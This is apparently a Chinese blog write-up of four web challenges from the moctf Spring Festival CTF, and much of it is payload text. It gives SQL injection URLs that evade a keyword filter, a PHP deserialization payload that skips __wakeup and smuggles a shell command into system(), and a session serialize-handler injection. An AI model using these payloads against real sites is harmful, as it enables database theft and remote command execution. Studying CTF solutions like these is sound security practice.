moctf-新春欢乐赛
Feb 13, 2018 09:54 · 309 words · 2 minute read
划水。
是时候让你手指锻炼一下了
查看源码发现是js验证clicks。 payload
http://120.78.57.208:6003/web1/?clicks=111111111111111111111111111
ez Injection
注入题,测试后发现过滤了空格,括号和几个关键字。payload如下
#爆库
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/SCHEMA_NAME,3,4/**/frfromom/**/information_schema.schemata/**/limit/**/0,1%23
#爆表
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/table_NAME,3,4/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema=%27sheldon%27/**/limit/**/0,1%23
#爆列
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/COLUMN_NAME,3,4/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name=%2704ad5938eaf0efb6%27/**/limit/**/0,1%23
#爆flag
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/value,3,4/**/frfromom/**/04ad5938eaf0efb6/**/limit/**/0,1%23
PUBG
1.发现index.php.bak文件泄露 关键代码
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");
}
}
?>
新发现class.php,尝试也有.bak文件泄露
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>
- call 当要调用的方法不存在或权限不足时,会自动调用call 方法。
- __destruct():析构函数,当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。
大致思路
1.在执行反序列化操作后会直接触发wakeup和destruct,可以看到destruct中对weapon有限制,所以需要绕过wakeup函数。 2.通过\$this->Get_air_drops(\$this->bag);这行代码去触发call函数。将$this->bag作为call函数的\$method参数。 3.通过构造\$method参数执行恶意代码
操作
1.绕过wakeup函数 方法是如果表示对象属性个数的值大于真实的属性个数时就会跳过wakeup的执行。 例:
#原始的序列化字符 O:7:"sheldon":2:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:8:"flag.php";} #修改后即可绕过 O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:8:"flag.php";}
2.执行恶意代码 在这里我是想通过运行flag.php去获取flag,但是测试后一直没有反应,于是就卡在这了。 赛后看了writeup才知道这是一个命令执行去打印出flag.php才能拿到flag的。因为flag.php没有echo flag,而是把flag被注释了。。所以在怎么执行flag.php,也不会有反应。(真的是菜,看到system函数竟然不去构造命令执行。。。)
这是我之前构造的运行flag.php的字符串
<?php
class sheldon{
public $weapon;
public $bag;
}
$a = new sheldon();
$a->bag = "flag.php win";
$a->weapon = "AWM";
$a = serialize($a);
echo $a;
//O:7:"sheldon":2:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:12:"flag.php win";}
#在linux下,此命令运行的结果是运行flag.php。不运行win.php。
php flag.php win.php
正解
class sheldon{
public $weapon;
public $bag;
}
$a = new sheldon();
$a->bag = "flag.php && l\s && win";
$a->weapon = "AWM";
$a = serialize($a);
echo $a;
输出的序列化字符
O:7:"sheldon":2:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:22:"flag.php && l\s && win";}
#修改后
O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:22:"flag.php && l\s && win";}
这里还需要url编码一下,不然会失败.
O%3a7%3a%22sheldon%22%3a3%3a%7bs%3a6%3a%22weapon%22%3bs%3a3%3a%22AWM%22%3bs%3a3%3a%22bag%22%3bs%3a22%3a%22flag.php+%26%26+l%5cs+%26%26+win%22%3b%7d
最终读取flag.php的payload
http://120.78.57.208:6001/?LandIn=school&pubg=O%3a7%3a%22sheldon%22%3a3%3a%7bs%3a6%3a%22weapon%22%3bs%3a3%3a%22AWM%22%3bs%3a3%3a%22bag%22%3bs%3a40%3a%22flag.php+%26%26+c%5cat+.%2fclass%2fflag.php+%26%26+win%22%3b%7d
登录一哈
git源码泄露,拿到源码 index.php关键代码
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION["username"] = $username;
header("Location:./index.php");
}
else if(isset($_SESSION["username"])){
echo '<h1>hello '.$_SESSION["username"].'</h1>';
}
else {
?>
flag.php
<?php
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";i:0;}
session_start();
class MOCTF{
public $flag;
public $name;
function __destruct(){
$this->flag = "moctf{xxxxxxxxxxxxxxxxxxx}";
if($this->flag == $this->name){
echo "Wow,this is flag:".$this->flag;
}
}
}
看了flag.php感觉是反序列化。 再看index.php发现
ini_set('session.serialize_handler', 'php_binary');
查了一下,这行代码是设置php的session存储方式的。 百度之后发现当两个页面设置的session的存储方式不同时会造成反序列化漏洞。 即可以看到在index.php会对$_SESSION[“username”] = $username;,所以要构造的参数就是username payload
username:
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";i:0;}
password:
随便
提交之后,访问flag.php即拿到flag。
菜鸡只会做这几个,先记下这几个做的,其他的以后在平台在补吧。。。